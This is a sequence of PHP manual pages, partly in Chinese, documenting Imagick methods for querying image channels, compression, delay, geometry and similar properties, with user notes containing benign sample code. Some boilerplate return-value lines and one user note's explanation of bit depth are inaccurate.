Imagick::getImageChannelDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelDepth — Gets the depth for a particular image channel

说明

public Imagick::getImageChannelDepth(int $channel): int

Gets the depth for a particular image channel.

参数

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

User Contributed Notes

holdoffhunger at gmail dot com 06-May-2012 11:48
For undocumented functions, this is a particular oddity.  For me, this function has so far returned only two values for any particular image: 1 and 8.  And, after experimenting with it about forty or fifty times, I think I understand how it works, based simply on my experience.

The value returned is the number of bits used for the particular color channel within an image.  That means how variable a particular color is within an image.  While I received 1 and 8, it could theoretically be as much as 16 or 32, depending on how the technology evolves over, say, the next decade or so.

To best understand this function, you should probably also understand the ImageMagick function getColorValue.  In terms of the ImageMagick class, a color can be measured between 0 and 1, in terms in of a particular pixel.  Red, Green, Blue, or, any particular color of any color scheme, can be something like 0.501960784314.  But, since each pixel is a combination of the three colors, you can have 0.845 for red, 0.254 for green, and 0.11 for blue.

How does this all tie in with the getChannelDepth function?  Easy.  If all of the pixels in an image are either values 1 or values 0 for the particular Red/Green/Blue values, then this function will return a 1 for 1 bits per pixel for that color channel.  If, however, any single pixel in the image for the inputted channel parameter isn't exactly 1 or 0 for the particular color channel, then this function will return an 8 for 8-bit colors per pixel for that color channel.

If you receive back a 1 for every single color channel put in the parameter, that means you're dealing with an image that's 16-bit -- you know, like those computer games published in 1982, or the Atari console games.  You won't ever forget a 16-bit color green, trust me.  If you get back an 8 for every single color channel put in the parameter, that means you're dealing with any standard, modern image.

You can input any color channel, based on the channel constants available within the ImageMagick class.  See them here: http://www.php.net/manual/en/imagick.constants.php#imagick.constants.channel .  That means a format like imagick::CHANNEL_UNDEFINED, but with the "_UNDEFINED" value being anything here: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.

For any image with one pixel color of RGB value 1 / 0.501960784314 / 0.501960784314 (#FF8080), you get this result:

Channel - 'Undefined' :        1
Channel - 'Red' :     1
Channel - 'Gray' :     1
Channel - 'Cyan' :     1
Channel - 'Green' :     8
Channel - 'Magenta' :     8
Channel - 'Blue' :     8
Channel - 'Yellow' :     8
Channel - 'Alpha' :     1
Channel - 'Opacity' :     1
Channel - 'Matte' :     1
Channel - 'Black' :     1
Channel - 'Index' :     1
Channel - 'All' :     8
Channel - 'Default' :     8

If all colors are between 0 and 1 with getColorValue function, each of these results with be 1.  If you're dealing with an image that has full color spectrum depth (almost any given photograph), you'll get 8 for red, gray, cyan, green, magenta, blue, yellow, all, and default, with a 1 for the other remaining channels.  Perhaps some use for automated image editing, like use with posterize or oilpaint functions.


Compares image channels of an image to a reconstructed image

  • ? Imagick::getImageChannelDepth
  • Imagick::getImageChannelDistortions ?
  • PHP Manual
  • Imagick
  • Compares image channels of an image to a reconstructed image

Imagick::getImageChannelDistortion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image

说明

public Imagick::getImageChannelDistortion(Imagick $reference, int $channel, int $metric): float

Compares one or more image channels of an image to a reconstructed image and returns the specified distortion metric.

参数

reference

Imagick object to compare to.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

metric

One of the metric type constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets channel distortions

  • ? Imagick::getImageChannelDistortion
  • Imagick::getImageChannelExtrema ?
  • PHP Manual
  • Imagick
  • Gets channel distortions

Imagick::getImageChannelDistortions

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageChannelDistortions — Gets channel distortions

说明

public Imagick::getImageChannelDistortions(Imagick $reference, int $metric, int $channel = Imagick::CHANNEL_DEFAULT): float

Compares one or more image channels of an image to a reconstructed image and returns the specified distortion metrics 此方法在Imagick基于ImageMagick 6.4.4以上版本编译时可用。

参数

reference

Imagick object containing the reference image

metric

Refer to this list of metric type constants.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

Returns a float describing the channel distortion.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the extrema for one or more image channels

  • ? Imagick::getImageChannelDistortions
  • Imagick::getImageChannelKurtosis ?
  • PHP Manual
  • Imagick
  • Gets the extrema for one or more image channels

Imagick::getImageChannelExtrema

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageChannelExtrema(int $channel): array

Gets the extrema for one or more image channels. Return value is an associative array with the keys "minima" and "maxima".

参数

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


The getImageChannelKurtosis purpose

  • ? Imagick::getImageChannelExtrema
  • Imagick::getImageChannelMean ?
  • PHP Manual
  • Imagick
  • The getImageChannelKurtosis purpose

Imagick::getImageChannelKurtosis

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose

说明

public Imagick::getImageChannelKurtosis(int $channel = Imagick::CHANNEL_DEFAULT): array

Get the kurtosis and skewness of a specific channel. 此方法在Imagick基于ImageMagick 6.4.9以上版本编译时可用。

参数

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

Returns an array with kurtosis and skewness members.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 15-May-2012 11:52
The getImageChannelKurtosis function accepts as a parameter any of the ImageMagick channel constants and returns an array containing elements with the two element values of 'kurtosis' and 'skewness.'

For the inputted color values, you have the ImageMagick channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  This is for measuring the particular channel for these colors of their own associated colorspaces.

According to Wikipedia, the Kurtosis is "any measure of the 'peakedness' of the probability distribution of a real-valued random variable" and Skewness (its opposite) is "a measure of the asymmetry of the probability distribution of a real-valued random variable."  The more colors vary from the inputted channel constant, you'll be more likely to get a skewness close to zero, and you'll get the opposite behavior from checking the kurtosis value, which makes sense, since skewness and kurtosis are considered mathematical antonyms.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_channel_kurtosis_red = $imagick_type->getImageChannelKurtosis(imagick::CHANNEL_RED);

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_channel_kurtosis_red);
    print("</pre>");

?>

The results for performing this function upon a photo of the ocean...

ImageMagick - Channel Kurtosis
  Channel - Undefined :

Kurtosis : 0
Skewness : 0

  Channel - Red :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Gray :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Cyan :

Kurtosis : 0.920611158888
Skewness : 1.52701528976

  Channel - Green :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Magenta :

Kurtosis : -0.286520845928
Skewness : 1.05203603783

  Channel - Blue :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Yellow :

Kurtosis : -0.849997917796
Skewness : 0.807852655795

  Channel - Alpha :

Kurtosis : 0
Skewness : 0

  Channel - Opacity :

Kurtosis : 0
Skewness : 0

  Channel - Matte :

Kurtosis : 0
Skewness : 0

  Channel - Black :

Kurtosis : 0
Skewness : 0

  Channel - Index :

Kurtosis : 0
Skewness : 0

  Channel - All :

Kurtosis : 0.509521246195
Skewness : 1.33491479552

  Channel - Default :

Kurtosis : -0.349955122843
Skewness : 1.00561407035


Gets the mean and standard deviation

  • ? Imagick::getImageChannelKurtosis
  • Imagick::getImageChannelRange ?
  • PHP Manual
  • Imagick
  • Gets the mean and standard deviation

Imagick::getImageChannelMean

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelMean — Gets the mean and standard deviation

说明

public Imagick::getImageChannelMean(int $channel): array

Gets the mean and standard deviation of one or more image channels.

参数

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

Returns an array with "mean" and "standardDeviation" members.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets channel range

  • ? Imagick::getImageChannelMean
  • Imagick::getImageChannelStatistics ?
  • PHP Manual
  • Imagick
  • Gets channel range

Imagick::getImageChannelRange

(PECL imagick 2 >= 2.2.1, PECL imagick 3)

Imagick::getImageChannelRange — Gets channel range

说明

public Imagick::getImageChannelRange(int $channel): array

Gets the range for one or more image channels. 此方法在Imagick基于ImageMagick 6.4.0以上版本编译时可用。

参数

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

Returns an array containing minima and maxima values of the channel(s).

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

holdoffhunger at gmail dot com 07-May-2012 11:43
The getImageChannelRange returns an array with two values mapped to the keys 'minima' and 'maxima', which are simply the minimum and maximum values of that particular channel within the image that this function is performed upon.  For photographs and high-quality imagery, that means that you're almost always guaranteed to have the minima be at 0 and the maxima be at the maximum bit-value allowed.  For most images, that's 65,535, which is the value of 2^16 (if you start counting at 0), meaning 16-bits per Channel imagery.  This goes for all of the channels.

If an image is simple, though, you may be able to get a better variety of ranges.  An image that was simply a red square, the maxima and minima values for the Red Channel were both 65,535 (max), while the channels for the maxima and minima values for all other channels was 0 (min).  If you want to know the maximum values you might get back for any of the channels, feed this function the default channel.

For your normal channels, you'll have something that looks like "imagick::CHANNEL_RED", but you could have unusual channels like "imagick::CHANNEL_OPACITY".  For colors, you have the "_VALUE" options of: red, gray, cyan, green, magenta, blue, yellow, all, and default.  For unusual channels, you have the "_VALUE" options of: undefined, alpha, opacity, matte, black, and index.  With this function, the unusual channels always produce a minima of 1.0E+37 (10^37) and a maxima of -1.0E-37 (-10^-37), which makes no sense, so stick to the color values I pointed to above.

This function doesn't work for you?  No problem.  The function getImageChannelExtrema does the same *EXACT* thing.  The only difference is that the error you get on the unusual channels: their minima and maxima, instead of defaulting to crazy values, simply defaults to 0.

In general, this function seems to have the utility of telling you how simple an image might be -- if the difference between a channel maxima and minima is very small, that means there wasn't much expression of color for that given channel.  This will probably be able to tell you whether an image was drawn in some simple paint program or if it's an actual photograph, but beyond that, you'll have to do intensive programming to make it figure something out more complicated.

And now, an example of the results for some red-only image:

ImageMagick - Channel Range
Channel - 'Undefined' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Red' :     Minima: 65535     Maxima: 65535
Channel - 'Gray' :     Minima: 65535     Maxima: 65535
Channel - 'Cyan' :     Minima: 65535     Maxima: 65535
Channel - 'Green' :     Minima: 0     Maxima: 0
Channel - 'Magenta' :     Minima: 0     Maxima: 0
Channel - 'Blue' :     Minima: 0     Maxima: 0
Channel - 'Yellow' :     Minima: 0     Maxima: 0
Channel - 'Alpha' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Opacity' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Matte' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Black' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Index' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'All' :     Minima: 0     Maxima: 65535
Channel - 'Default' :     Minima: 0     Maxima: 65535


Returns statistics for each channel in the image

  • ? Imagick::getImageChannelRange
  • Imagick::getImageClipMask ?
  • PHP Manual
  • Imagick
  • Returns statistics for each channel in the image

Imagick::getImageChannelStatistics

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelStatistics — Returns statistics for each channel in the image

说明

public Imagick::getImageChannelStatistics(): array

Returns statistics for each channel in the image. The statistics include the channel depth, its minima and maxima, the mean, and the standard deviation.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

holdoffhunger at gmail dot com 14-May-2012 11:19
The ImageMagick function 'getImageChannelStatistics' returns an array of arrays.  The first array has keys with values set to 0, 1, 2, 4, 8, and 32.  Each of these arrays, in turn, has five values, mean, minima, maxima, standard deviation, and depth.  A sample print_r of the array produces...

Array
(
    [0] => Array
        (
            [mean] => 0
            [minima] => 1.0E+37
            [maxima] => -1.0E-37
            [standardDeviation] => 0
            [depth] => 1
        )

    [1] => Array
        (
            [mean] => 13215.2836185
            [minima] => 0
            [maxima] => 65535
            [standardDeviation] => 19099.2202751
            [depth] => 8
        )

[etc., etc..]
}

What does each 0, 1, 2, etc., value mean for the keys?  Those are shared, evaluated values of the ImageMagick Channel Constants.  You have the channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  If you actually print out these constants, you get '0' for undefined, '1' for red, gray, and cyan, '2' for green and magenta, '4' for blue and yellow, and '8' for alpha, opacity, and matte, or '32' for black and index.  Why do multiple channels share the same evaluated integer values?  That's because they're colors from different color spaces, with Red/Green/Blue being the RGB spectrum, Cyan/Magenta/Yellow/blacK being the CMYK spectrum, etc., etc..  If you want to get the statistical result values for Cyan or Red, you'll be accessing the same channel keys.

There are five values produced for each color channel.  The element values for the keys 'mean' and 'standardDeviation' are the results from the getImageChannelMean function.  The element values for the keys 'minima' and 'maxima' are the results from the getChannelRange function.  And the element values for the key 'depth' is the result from the getImageChannelDepth function.  All of these values can be useful in terms of measuring the Channel values of a particular image.

And now, some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Create Imagick Object
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Filename to Open
        // ---------------------------------------------

    $file_to_grab_with_location = "image_workshop_directory/test.bmp";

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Statistics
        // ---------------------------------------------

    $imagick_type_channel_statistics = $imagick_type->getImageChannelStatistics();

        // Print Statistics
        // ---------------------------------------------

    print_r($imagick_type_channel_statistics);

?>


Gets image clip mask

  • ? Imagick::getImageChannelStatistics
  • Imagick::getImageColormapColor ?
  • PHP Manual
  • Imagick
  • Gets image clip mask

Imagick::getImageClipMask

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageClipMask — Gets image clip mask

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageClipMask(): Imagick

Returns the image clip mask. The clip mask is an Imagick object containing the clip mask. 此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns an Imagick object containing the clip mask.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the color of the specified colormap index

  • ? Imagick::getImageClipMask
  • Imagick::getImageColors ?
  • PHP Manual
  • Imagick
  • Returns the color of the specified colormap index

Imagick::getImageColormapColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColormapColor — Returns the color of the specified colormap index

说明

public Imagick::getImageColormapColor(int $index): ImagickPixel

Returns the color of the specified colormap index.

参数

index

The offset into the image colormap.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of unique colors in the image

  • ? Imagick::getImageColormapColor
  • Imagick::getImageColorspace ?
  • PHP Manual
  • Imagick
  • Gets the number of unique colors in the image

Imagick::getImageColors

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColors — Gets the number of unique colors in the image

说明

public Imagick::getImageColors(): int

Gets the number of unique colors in the image.

参数

此函数没有参数。

返回值

Returns an int, the number of unique colors in the image.

User Contributed Notes

amaral dot regis at hotmail dot com 03-Apr-2018 01:27
O exemplo anterior apresentou números fracionados nas chaves da variável $frequency_list_of_values:

Array
(
    [1 / 0 / 1] => 157295
    [0.83529411764706 / 0.87843137254902 / 0.82352941176471] => 1
    [0.80392156862745 / 0.84705882352941 / 0.7843137254902] => 2
    [0.8156862745098 / 0.84705882352941 / 0.78823529411765] => 1
...

Ent?o eu fiz uma altera??o que melhora o resultado para quem esta buscando saber quais as cores dominantes na imagem, mostrando a chave com o valor rgb exato:
<?php

        $file_to_grab_with_location = $imagepath; //caminho relativo ao arquivo de imagem

        $imagick_type = new \Imagick();

        $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');
        $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        $frequency_list_of_values = array();

        $image_resolution_width = $imagick_type->getImageWidth();
        $image_resolution_height = $imagick_type->getImageHeight();

        print("Image Resolution:  Width - $image_resolution_width / Height - $image_resolution_height<br><br>");

        for($y = 0; $y < $image_resolution_height; $y++)
        {

            for($x = 0; $x < $image_resolution_width; $x++)
            {

                $pixel_to_examine = $imagick_type->getImagePixelColor($x,$y);

                if(isset($frequency_list_of_values[$pixel_to_examine->getColorAsString()]) == TRUE)
                {
                    $temp = $frequency_list_of_values[$pixel_to_examine->getColorAsString()];
                    $temp++;
                    $frequency_list_of_values[$pixel_to_examine->getColorAsString()] = $temp;
                }
                else
                {
                    $frequency_list_of_values[$pixel_to_examine->getColorAsString()] = 1;
                }
            }

            arsort($frequency_list_of_values);
        }

        print("<pre>");
        print_r($frequency_list_of_values);
        print("</pre>");

?>

Resultado:
Image Resolution: Width - 1965 / Height - 998

Array
(
    [srgba(255,0,255,0)] => 451654
    [srgb(54,52,53)] => 281069
    [srgb(177,51,54)] => 130449
    [srgb(236,50,55)] => 64001
...

O método é demorado para imagens muito grandes, pois ele analisa pixel a pixel.
holdoffhunger at gmail dot com 06-Apr-2012 10:54
I've had difficulty getting this function to return the number of unique colors.  Also, I wanted to be able to have an array with each $key value being the RGB of the pixel, and each $value value being the number of times that pixel occurs.  Basically, a frequency list.  For example, you would have "1 / 0 / 0" for red as a $key value, and "25" for the number of times that pixel color was in the image.  So, I wrote some code to do that, using a combination of readImageFile, getImageWidth, getImageHeight, getImagePixelColor, and a simple x/y parser, like so :

<?php

        // Test File
        // ---------------------------------------------

            // Note: This file was just a picture of a 5x5 red square
            //    inside of a gigantic 521x512 black square, and
            //    then I did a bunch of random, yellow zigzags.

    $file_to_grab_with_location = "test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');
    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Preset Information
        // ---------------------------------------------

    $frequency_list_of_values = array();

        // Parse Pixels
        // ---------------------------------------------

    $image_resolution_width = $imagick_type->getImageWidth();
    $image_resolution_height = $imagick_type->getImageHeight();

    print("Image Resolution:  Width - $image_resolution_width / Height - $image_resolution_height<br><br>");

        // Parse Image Top-to-Bottom (Y-Variable)
        // ---------------------------------------------

    for($y = 0; $y < $image_resolution_height; $y++)
    {
            // Parse Image Left-to-Right (X-Variable)
            // ---------------------------------------------

        for($x = 0; $x < $image_resolution_width; $x++)
        {

                // Image Pixel Color
                // ---------------------------------------------

            $pixel_to_examine = $imagick_type->getImagePixelColor($x,$y);

            $pixel_to_examine_color_value_red = $pixel_to_examine->getColorValue(imagick::COLOR_RED);
            $pixel_to_examine_color_value_green = $pixel_to_examine->getColorValue(imagick::COLOR_GREEN);
            $pixel_to_examine_color_value_blue = $pixel_to_examine->getColorValue(imagick::COLOR_BLUE);

                // Set Key Value
                // ---------------------------------------------

            $key_value =    $pixel_to_examine_color_value_red    .    " / "    .
                    $pixel_to_examine_color_value_green    .    " / "    .
                    $pixel_to_examine_color_value_blue            ;

                // Increment Array Entry for Color
                // ---------------------------------------------

            if(isset($frequency_list_of_values[$key_value]) == TRUE)
            {
                $temp = $frequency_list_of_values[$key_value];
                $temp++;
                $frequency_list_of_values[$key_value] = $temp;
            }
            else
            {
                $frequency_list_of_values[$key_value] = 1;
            }
        }
    }

        // Print Out Array of Values
        // ---------------------------------------------

    print("<pre>");
    print_r($frequency_list_of_values);
    print("</pre>");

/*

    Results:
    ------------------

Image Resolution: Width - 521 / Height - 512

Array
(
    [1 / 0 / 0] => 25
    [0 / 0 / 1] => 264107
    [1 / 1 / 0] => 2620
)

*/

?>


Gets the image colorspace

  • ? Imagick::getImageColors
  • Imagick::getImageCompose ?
  • PHP Manual
  • Imagick
  • Gets the image colorspace

Imagick::getImageColorspace

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColorspace — Gets the image colorspace

说明

public Imagick::getImageColorspace(): int

Gets the image colorspace.

参数

此函数没有参数。

返回值

Returns an integer which can be compared against COLORSPACE constants.

User Contributed Notes

There are no user contributed notes for this page.


Returns the composite operator associated with the image

  • ? Imagick::getImageColorspace
  • Imagick::getImageCompression ?
  • PHP Manual
  • Imagick
  • Returns the composite operator associated with the image

Imagick::getImageCompose

(PECL imagick 2, PECL imagick 3)

Imagick::getImageCompose — Returns the composite operator associated with the image

说明

public Imagick::getImageCompose(): int

Returns the composite operator associated with the image.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Gets the current image's compression type

  • ? Imagick::getImageCompose
  • Imagick::getImageCompressionQuality ?
  • PHP Manual
  • Imagick
  • Gets the current image's compression type

Imagick::getImageCompression

(PECL imagick 3 >= 3.3.0)

Imagick::getImageCompression — Gets the current image's compression type

说明

public Imagick::getImageCompression(): int

Gets the current image's compression type.

参数

此函数没有参数。

返回值

Returns the compression constant

User Contributed Notes

Mondragon 16-Jul-2020 05:25
Example use:

$im = new Imagick("mypicture.jpg");
$ctype = $im->getImageCompression();
if($ctype == Imagick::COMPRESSION_ZIP) echo "PNG file!";
if($ctype == Imagick::COMPRESSION_JPEG) echo "JPG file!";
if($ctype == Imagick::COMPRESSION_LZW) echo "GIF file!";

All options:
COMPRESSION_UNDEFINED
COMPRESSION_NO
COMPRESSION_BZIP
COMPRESSION_FAX
COMPRESSION_GROUP4
COMPRESSION_JPEG
COMPRESSION_JPEG2000
COMPRESSION_LOSSLESSJPEG
COMPRESSION_LZW
COMPRESSION_RLE
COMPRESSION_ZIP
COMPRESSION_DXT1
COMPRESSION_DXT3
COMPRESSION_DXT5
COMPRESSION_ZIPS
COMPRESSION_PIZ
COMPRESSION_PXR24
COMPRESSION_B44
COMPRESSION_B44A
COMPRESSION_LZMA
COMPRESSION_JBIG1
COMPRESSION_JBIG2

The numbers for which those constants stand differ by version. So always use the constants.
alitrix at gmail dot com 20-Oct-2017 12:51
This function is added in version 3.3.0 and above
undoable at gmail dot com 03-Jul-2013 10:44
This function is undefined. You must use getImageCompressionQuality() instead.


Gets the current image's compression quality

  • ? Imagick::getImageCompression
  • Imagick::getImageDelay ?
  • PHP Manual
  • Imagick
  • Gets the current image's compression quality

Imagick::getImageCompressionQuality

(PECL imagick 2 >= 2.2.2, PECL imagick 3)

Imagick::getImageCompressionQuality — Gets the current image's compression quality

说明

public Imagick::getImageCompressionQuality(): int

Gets the current image's compression quality

参数

此函数没有参数。

返回值

Returns integer describing the images compression quality

User Contributed Notes

sNniffer 14-May-2020 03:13
using

    $img = new Imagick();
    $img->readImage( $local_da_imagem );
    print_r( $img->getImageCompressionQuality() );


Gets the image delay

  • ? Imagick::getImageCompressionQuality
  • Imagick::getImageDepth ?
  • PHP Manual
  • Imagick
  • Gets the image delay

Imagick::getImageDelay

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDelay — Gets the image delay

说明

public Imagick::getImageDelay(): int

Gets the image delay.

参数

此函数没有参数。

返回值

Returns the image delay.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

ijtabahussain at live dot com 25-Jan-2015 01:27
Seems to return the image delay in centiseconds
jabaga at abv dot bg 18-Sep-2011 08:31
Here is how you can get the delay between the frames in gif file:

<?php
$animation = new Imagick("file.gif");

foreach ($animation as $frame) {
  $delay = $animation->getImageDelay();

echo $delay;
}
?>


Gets the image depth

  • ? Imagick::getImageDelay
  • Imagick::getImageDispose ?
  • PHP Manual
  • Imagick
  • Gets the image depth

Imagick::getImageDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDepth — Gets the image depth

说明

public Imagick::getImageDepth(): int

Gets the image depth.

参数

此函数没有参数。

返回值

The image depth.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image disposal method

  • ? Imagick::getImageDepth
  • Imagick::getImageDistortion ?
  • PHP Manual
  • Imagick
  • Gets the image disposal method

Imagick::getImageDispose

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDispose — Gets the image disposal method

说明

public Imagick::getImageDispose(): int

Gets the image disposal method.

参数

此函数没有参数。

返回值

Returns the dispose method on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Compares an image to a reconstructed image

  • ? Imagick::getImageDispose
  • Imagick::getImageExtrema ?
  • PHP Manual
  • Imagick
  • Compares an image to a reconstructed image

Imagick::getImageDistortion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDistortion — Compares an image to a reconstructed image

说明

public Imagick::getImageDistortion(MagickWand $reference, int $metric): float

Compares an image to a reconstructed image and returns the specified distortion metric.

参数

reference

Imagick object to compare to.

metric

One of the metric type constants.

返回值

Returns the distortion metric used on the image (or the best guess thereof).

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the extrema for the image

  • ? Imagick::getImageDistortion
  • Imagick::getImageFilename ?
  • PHP Manual
  • Imagick
  • Gets the extrema for the image

Imagick::getImageExtrema

(PECL imagick 2, PECL imagick 3)

Imagick::getImageExtrema — Gets the extrema for the image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::getImageExtrema(): array

Gets the extrema for the image. Returns an associative array with the keys "min" and "max".

参数

此函数没有参数。

返回值

Returns an associative array with the keys "min" and "max".

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the filename of a particular image in a sequence

  • ? Imagick::getImageExtrema
  • Imagick::getImageFormat ?
  • PHP Manual
  • Imagick
  • Returns the filename of a particular image in a sequence

Imagick::getImageFilename

(PECL imagick 2, PECL imagick 3)

Imagick::getImageFilename — Returns the filename of a particular image in a sequence

说明

public Imagick::getImageFilename(): string

Returns the filename of a particular image in a sequence.

参数

此函数没有参数。

返回值

Returns a string with the filename of the image.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Returns the format of a particular image in a sequence

  • ? Imagick::getImageFilename
  • Imagick::getImageGamma ?
  • PHP Manual
  • Imagick
  • Returns the format of a particular image in a sequence

Imagick::getImageFormat

(PECL imagick 2, PECL imagick 3)

Imagick::getImageFormat — Returns the format of a particular image in a sequence

说明

public Imagick::getImageFormat(): string

Returns the format of a particular image in a sequence.

参数

此函数没有参数。

返回值

Returns a string containing the image format on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

orrd101 at yahoo dot com 21-Feb-2013 12:49
Use Imagick::queryFormats() to get a list of possible format names that might be returned by this function.


Gets the image gamma

  • ? Imagick::getImageFormat
  • Imagick::getImageGeometry ?
  • PHP Manual
  • Imagick
  • Gets the image gamma

Imagick::getImageGamma

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGamma — Gets the image gamma

说明

public Imagick::getImageGamma(): float

Gets the image gamma.

参数

此函数没有参数。

返回值

Returns the image gamma on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Gets the width and height as an associative array

  • ? Imagick::getImageGamma
  • Imagick::getImageGravity ?
  • PHP Manual
  • Imagick
  • Gets the width and height as an associative array

Imagick::getImageGeometry

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGeometry — Gets the width and height as an associative array

说明

public Imagick::getImageGeometry(): array

Returns the width and height as an associative array.

参数

此函数没有参数。

返回值

Returns an array with the width/height of the image.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::getImageGeometry()

<?php
$imagick = new Imagick();
$imagick->newImage(100, 200, "black");
print_r($imagick->getImageGeometry());
?>

以上示例会输出：

Array
(
    [width] => 100
    [height] => 200
)

User Contributed Notes

tim at provu dot co dot uk 20-Nov-2008 07:05
Example code:

<?php
$image = new imagick($filename);

$geo=$image->getImageGeometry();

$sizex=$geo['width'];
$sizey=$geo['height'];
?>


Gets the image gravity

  • ? Imagick::getImageGeometry
  • Imagick::getImageGreenPrimary ?
  • PHP Manual
  • Imagick
  • Gets the image gravity

Imagick::getImageGravity

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageGravity — Gets the image gravity

说明

public Imagick::getImageGravity(): int

Gets the current gravity value of the image. Unlike Imagick::getGravity(), this method returns the gravity defined for the current image sequence. 此方法在Imagick基于ImageMagick 6.4.4以上版本编译时可用。

参数

此函数没有参数。

返回值

Returns the images gravity property. Refer to the list of gravity constants.

User Contributed Notes

